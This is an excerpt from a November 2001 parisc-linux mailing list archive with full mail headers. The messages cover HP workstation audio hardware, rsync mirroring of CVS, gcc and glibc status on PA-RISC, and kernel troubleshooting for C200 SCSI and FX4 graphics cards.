List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13057

--UlVJffcvxoiEqYs2
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello John and parisc,

On Thu, 15 Nov 2001, John Marvin wrote:

> > I see my 720/50 has a hole in the back labelled "Audio." What kind of
> > soundcard (or PC speaker :-)) is this, and is it supported (I think
> > not?). Also, what needs to be done to get it working. Are there specs
> > available?
>=20
> Sorry, the 720/730/750 doesn't have that kind of audio hardware. They
> are the only parisc workstations without audio hardware. The 705/710
> had a "voice quality" audio codec, which did 8Khz sample rate only.
> Everything else after that had audio hardware capable of CD quality
> stereo audio.
>=20
> That jack has always been misleading. It is the beeper output. It is
> only capable of making tones and noise. It has 3 tone channels and
> one noise channel.

So, how do I make it sing? :-)

Regards,

Albert

--UlVJffcvxoiEqYs2
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD4DBQE788TUDg+hOeRZtkMRAsCyAJ9d12ab1t+BtB2EueaaHPxmoyMGmwCYx4nL
tCbNk1DAu277/fEO5eo2xw==
=+b5+
-----END PGP SIGNATURE-----

--UlVJffcvxoiEqYs2--



From - Thu Nov 08 21:20:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: rsync for CVS repository
Date: Thu, 15 Nov 2001 07:49:27 -0600
Lines: 55
Approved: news@gmane.org
Message-ID: <E8139C9A62384F49A7EBF9CCCD2243C1019640@umr-mail2.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620756 29962 80.91.229.3 (22 Nov 2014 01:45:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 06:49:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9BDB482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 06:49:35 -0700 (MST)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id HAA15225; Thu, 15 Nov 2001 07:49:34 -0600
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THK2L271>; Thu, 15 Nov 2001 07:49:34 -0600
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13058

I'm not sure how useful rsync would be for duplicating a cvs repository
except for mirroring purposes.

If you want to do your own commits locally - you're probably better off
doing a vendor branch/frequent imports, or using CVSup. 

If you just want a fast local copy of the repository (say if you're behind a
slow link), then rsync would be useful. But cvsup should also let you do
that easily.

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216


> -----Original Message-----
> From: Rafael Herrera [mailto:vze26vn8@verizon.net] 
> Sent: Wednesday, November 14, 2001 10:20 PM
> To: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] Re: rsync for CVS repository
> 
> 
> Paul Bame wrote:
> 
> > 6. Answer questions from people who don't know how to use rsync or
> >    who have problems.  Some people will try it because it's 
> there, not
> >    because it is useful for them.
> 
> 
> I use this command:
> 
> cd /your/localCVScopy/      
> rsync -avzc --progress --stats thepalinux.host.com::Example .
> 
> 
> will retrieve the Example directory in archive and compressed mode, a 
> little verbose too. Note that this will overwrite any 
> modified file you 
> have in your tree.
> 
> -- 
>       Rafael
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:20:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Grabert <xam@student.cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux/PA-RISC speed (was Re: C240 Graphics, 64bit kernel and more)
Date: Thu, 15 Nov 2001 14:08:46 +0000 (GMT)
Lines: 65
Approved: news@gmane.org
Message-ID: <Pine.OSF.3.96.1011115140754.20078A-100000@student.cs.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620756 29964 80.91.229.3 (22 Nov 2014 01:45:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 07:10:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from student.cs.ucc.ie (student.cs.ucc.ie [143.239.211.125])
	by dsl2.external.hp.com (Postfix) with ESMTP id 79E84482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 07:10:18 -0700 (MST)
Original-Received: from localhost (xam@localhost)
	by student.cs.ucc.ie (8.9.3/8.9.3) with SMTP id OAA22119
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 14:08:56 GMT
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13059

Jurriaan Kalkman wrote:


>>Are you aware of any other gcc/binutils bugs or should
>>gcc/binutils NOW create proper executables for pa2.0 and
>>pa1.1 (including the old CPUs like 730's PCX-S CPU) ?
>>
> 
> There are still bugs.


But Grand Grundler wrote:

| Yes - should work fine. Note one can build 32-bit PA2.0 binaries.
| The scheduling and insns are optimized for PA2.0 CPU but will
| run in "narrow" mode.

Mhh who's right ? I tend to believe Grand.

Of course there are bugs in binutils/gcc. But are there KNOW bugs/issues
a software developer (not a kernel freak) has to be aware of ?
What about glibc ?
Are threads fully supported ? Are gcc's ObjC, Java and C++ compilers
also working ?


>>I can imagine that the Linux/HPPA kernel is not very optimized yet
>>(can't compare the speed on my 730 with HP/UX since I don't
>>have the OS software anymore ...). Is the speed difference just a
>>few percent or can you 'feel' it (mhh, fuzzy question) ?
>>
>>
> I can only say that compiling a kernel on my C200 takes about 2 times
> as long as on my alpha (21164, 500 Mhz, 2 Mb cache). I feel it should
> be faster.


That's odd.
A 21164/500MHz (not 21164A or 21164PC) is slower according to
Spec_INT95, Spec_FP95 and the Spec_base(INT|FP)95 variants.

Indeed the benchmarks say that the Alpha is about 50% slower for FP stuff

and just a little bit slower for INT stuff (compared to a C240 HP/UX).

Moreover, according to SPEC:
If you compare it to a Intel CPU, the PA8200/236Mhz seem to be as fast as
a Pentium II 400-450 for integer operations and as fast as a
Pentium III 750-800 for floating point operations.

Well, lies, bigger lies/statistics and benchmarks.
Don't trust them.
Nevertheless a factor of 2 shouldn't occur. It's a too big number.
Is it just for compiling the kernel or for every application ?

greetings Max


> Good luck,
> Jurriaan






From - Thu Nov 08 21:20:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herb Radford <herbr@magma.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HPMC on C200 and FX4 question
Date: Thu, 15 Nov 2001 10:22:00 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <3.0.5.32.20011115102200.018fcb10@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620756 29971 80.91.229.3 (22 Nov 2014 01:45:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 08:22:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.istop.com (cpu1693.adsl.bellglobal.com [206.47.27.174])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18BE1482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 08:22:22 -0700 (MST)
Original-Received: from old@istop (herbr.istop.com [216.187.107.13])
	by ns.istop.com (Postfix) with SMTP id DDD2917069
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 10:23:38 -0500 (EST)
X-Sender: herbr@mail.magma.ca
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13060

In message * of Vol 1 #372, Jurriaan asks if anyone has tried a copy on
FWSCSI in a C200.
I just got mine up with FWSCSI and tried the same copy - no HPMC.
Now, this is 2.4.9pa79, nor one of the 2.4.14 kernels but it does work!

By the way does anyone know why an FX4 would not be set up. The message is:

Trying PCI STI ROM at f1e00000, PCI hpa at f6000000
I'm not trying to set up the PCI graphic card now... It would freeze your
machine
Unable to handle STI device 'PCI device 103c:1008 (Hewlett-Packard Company)'

I was given to beleive that sticon worked on an FX4 with 2.4.9pa64 or later!

Regards, Herb





From - Thu Nov 08 21:20:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] (no) HPMC on C200 and FX4 question
Date: Thu, 15 Nov 2001 16:33:27 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <sbf3efb0.007@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620757 29972 80.91.229.3 (22 Nov 2014 01:45:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:57 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>, <herbr@magma.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 08:40:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2B49482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 08:40:54 -0700 (MST)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id QAA04127 for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 16:40:52 +0100 (MET)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma003654; Thu, 15 Nov 01 16:39:21 +0100
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Thu, 15 Nov 2001 16:39:12 +0100
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13061

>In message * of Vol 1 #372, Jurriaan asks if anyone has tried a copy on
>FWSCSI in a C200.

that would be Grant, not me!

>I just got mine up with FWSCSI and tried the same copy - no HPMC.
>Now, this is 2.4.9pa79, nor one of the 2.4.14 kernels but it does work!
>

I just typed=20

sync; cp /boot/vmlinux* ./; sync

on my C200 running 2.4.14-pa2 and no HPMC occurred. The disk is the only
disk on the FWSCSI chain (internal).

>By the way does anyone know why an FX4 would not be set up. The message =
is:
>
>Trying PCI STI ROM at f1e00000, PCI hpa at f6000000
>I'm not trying to set up the PCI graphic card now... It would freeze your
>machine
>Unable to handle STI device 'PCI device 103c:1008 (Hewlett-Packard =
Company)'
>
I get that message too; and I also wonder what it means exactly.

Good luck,
Jurriaan




From - Thu Nov 08 21:20:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux/PA-RISC speed (was Re: C240 Graphics, 64bit kernel and more)
Date: Thu, 15 Nov 2001 10:51:20 -0500 (EST)
Lines: 45
Approved: news@gmane.org
Message-ID: <200111151551.fAFFpKxb016643@hiauly1.hia.nrc.ca>
References: <Pine.OSF.3.96.1011115140754.20078A-100000@student.cs.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620757 29976 80.91.229.3 (22 Nov 2014 01:45:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: xam@student.cs.ucc.ie (Markus Grabert)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 08:51:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 59381482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 08:51:25 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id fAFFpL7c016645;
	Thu, 15 Nov 2001 10:51:21 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id fAFFpKxb016643;
	Thu, 15 Nov 2001 10:51:20 -0500 (EST)
In-Reply-To: <Pine.OSF.3.96.1011115140754.20078A-100000@student.cs.ucc.ie> from "Markus Grabert" at Nov 15, 2001 02:08:46 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13062

> Of course there are bugs in binutils/gcc. But are there KNOW bugs/issues
> a software developer (not a kernel freak) has to be aware of ?

These are the main gcc issues that I am aware of:

1) 32-bit ABI -- 5-7 byte structures are not passed correctly per ABI.
2) I would say avoid "-O3" on mainline at the moment.  3.0.2 is better.
   The cause of the bug is unknown.

> What about glibc ?
> Are threads fully supported ? Are gcc's ObjC, Java and C++ compilers
> also working ?

ObjC builds and testsuite results are similar to i386.  Is anybody
actually using it?  I believe that the library is installed in the
wrong location.  There may still be issues with the testsuite using
the installed library rather than the build library.

Java: the library doesn't build.  Needs porting for both parisc-linux
and hpux, I believe.

C++: lack of weak symbol support causes some problems with template
instantiation under hpux.  Not sure how this is working under parisc-linux
but weak support should help.

Fortran: there are some bugs that need work on main.  Stick with 3.0.x
for now.

At least based on the testsuite results, C++ STL threads work under hpux.
Don't know of any issues under linux.  The primary problem is locking.

It would be useful if the gcc testsuite were run on various parisc-linux
linux configurations: 1.X and 2.0 processors, 32 and 64 bit, gcc mainline
and 3.0.2.  Then, post the results using the contrib/test-summary script to
gcc-testresults@gcc.gnu.org.  This would help a lot to determine the status
of things for gcc under parisc-linux.  Volunteer(s)?

I am planning to set up a 64-bit test system in the near future.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:20:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux/PA-RISC speed (was Re: C240 Graphics, 64bit kernel and more)
Date: Thu, 15 Nov 2001 08:12:22 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20011115081222.L391@tausq.org>
References: <Pine.OSF.3.96.1011115140754.20078A-100000@student.cs.ucc.ie> <200111151551.fAFFpKxb016643@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620757 29980 80.91.229.3 (22 Nov 2014 01:45:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:57 +0000 (UTC)
Cc: Markus Grabert <xam@student.cs.ucc.ie>,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 09:12:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69AF2482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 09:12:38 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id myryiaaa for parisc-linux@lists.parisc-linux.org; Thu, 15 Nov 2001 09:07:35 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 164P7m-00018G-00; Thu, 15 Nov 2001 08:12:22 -0800
Content-Disposition: inline
In-Reply-To: <200111151551.fAFFpKxb016643@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13063

> It would be useful if the gcc testsuite were run on various parisc-linux
> linux configurations: 1.X and 2.0 processors, 32 and 64 bit, gcc mainline
> and 3.0.2.  Then, post the results using the contrib/test-summary script to
> gcc-testresults@gcc.gnu.org.  This would help a lot to determine the status
> of things for gcc under parisc-linux.  Volunteer(s)?

As part of building the Debian gcc packages the testsuite is run.
Currently there are about 290-odd failures (across gcc/g++/libstdc++). I
will look into posting the results.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:20:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] (no) HPMC on C200 and FX4 question
Date: Thu, 15 Nov 2001 17:13:24 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20011115161416.C2066482C@dsl2.external.hp.com>
References: <sbf3efb0.007@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620758 29983 80.91.229.3 (22 Nov 2014 01:45:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:58 +0000 (UTC)
To: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>,
	<parisc-linux@lists.parisc-linux.org>, <herbr@magma.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 09:14:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id C2066482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 09:14:16 -0700 (MST)
Original-Received: (qmail 2093 invoked by uid 0); 15 Nov 2001 16:14:11 -0000
Original-Received: from pd9040269.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.2.105)
  by mail.gmx.net (mp010-rz3) with SMTP; 15 Nov 2001 16:14:11 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <sbf3efb0.007@ms-zrt1>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13064

On Thursday 15 November 2001 16:33, Jurriaan Kalkman wrote:
> >By the way does anyone know why an FX4 would not be set up. The message is:
> >
> >Trying PCI STI ROM at f1e00000, PCI hpa at f6000000
> >I'm not trying to set up the PCI graphic card now... It would freeze your
> >machine
> >Unable to handle STI device 'PCI device 103c:1008 (Hewlett-Packard
> > Company)'
>
> I get that message too; and I also wonder what it means exactly.

It means that it doesn't try to start the sticon/stifb driver for your card.
Change the "#if 1" to "#if 0" in drivers/video/sti/sticore.c, line 926, recompile
and boot again - then please let me know if it crashes for you or not.
I once inserted that check because the sticon/stifb driver crashes with the 
A4977A Visualize EG PCI card in my c3000. If it works for you we could try
to find a better solution.

Greetimgs,
Helge




From - Thu Nov 08 21:20:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu.ml.to>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] {OT} HP 9000/700 Snake
Date: Thu, 15 Nov 2001 12:55:14 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <a05100314b819b1b0ea98@[129.64.46.46]>
References: <20011114182457.C1525@daedalus.cs.brandeis.edu>
 <20011115074423.A21827@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Trace: ger.gmane.org 1416620758 29986 80.91.229.3 (22 Nov 2014 01:45:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 10:56:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hermes.cs.brandeis.edu (hermes.cs.brandeis.edu [129.64.2.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2EFA482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 10:56:12 -0700 (MST)
Original-Received: from [129.64.46.46] ([129.64.46.83])
	by hermes.cs.brandeis.edu (8.11.6/8.9.3) with ESMTP id fAFHuAk02449
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 12:56:10 -0500
X-Sender: aaronm@mail.cs.brandeis.edu (Unverified)
In-Reply-To: <20011115074423.A21827@dogbert.localdomain>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
